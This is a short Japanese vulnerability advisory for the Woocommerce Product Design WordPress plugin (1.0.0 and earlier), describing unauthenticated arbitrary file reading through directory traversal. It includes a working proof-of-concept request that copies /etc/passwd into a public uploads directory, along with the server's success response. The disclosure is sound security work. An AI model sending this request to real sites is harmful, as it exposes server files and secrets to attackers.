Woocommerce Product Design <= 1.0.0 - 認証なしの任意ファイルダウンロード
WordPress用のWoocommerce Product Designプラグインは、1.0.0を含むそれ以前のすべてのバージョンにおいて、ディレクトリトラバーサルに対して脆弱です。これにより、認証されていない攻撃者がサーバー上の任意のファイルの内容を読み取ることが可能になり、そのファイルには機密情報が含まれている可能性があります。
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
action=pc_added_uploaded_image&file[path]=/etc/passwd
{
"path": "/var/www/html/wp-content/uploads/wcpc/images/uploaded_images/passwd",
"message": "Image Uploaded Successfully",
"url": "https://wp-dev.ddev.site/wp-content/uploads/wcpc/images/uploaded_images/passwd",
"status": "success"
}